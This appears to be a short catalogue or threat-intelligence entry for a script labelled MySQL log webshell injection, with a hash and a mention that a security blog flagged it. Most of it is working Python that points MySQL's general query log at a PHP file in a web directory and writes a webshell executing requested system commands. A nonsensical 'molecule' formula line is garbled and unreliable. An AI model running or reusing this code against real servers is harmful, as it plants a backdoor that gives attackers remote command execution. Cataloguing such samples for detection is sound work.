variant-mysql-global.py
MySQL log webshell injection
MySQL logging writes selected server codeMySQL query log targets server script
SHA-2561a863af182d809c1ffc6a9213655aed1ce47ff20cd34a51a356fab8eabb99ff3
MaleculeO₂(XeC)H₅(Cm₂Db₃FOsPo)Md(In)
Also flagged by https://www.arcticwolf.com/resources/category/blog/feed/ (AI-Driven Attacks Are Here. Five Steps CISOs Should Take Now).
Evidence
1import pymysql
2import os
3connection = pymysql.connect(host=os.environ['LAB_DB_HOST'], user=os.environ['LAB_DB_USER'], password=os.environ['LAB_DB_PASSWORD'])
4with connection.cursor() as cursor:
5 cursor.execute("SET @@global.general_log_file='/srv/http/health.php'")
6 cursor.execute("SET @@global.general_log=1")
7 cursor.execute("SELECT '<?php system($_REQUEST[\"task\"]); ?>'")
8 cursor.execute("SET GLOBAL general_log=OFF")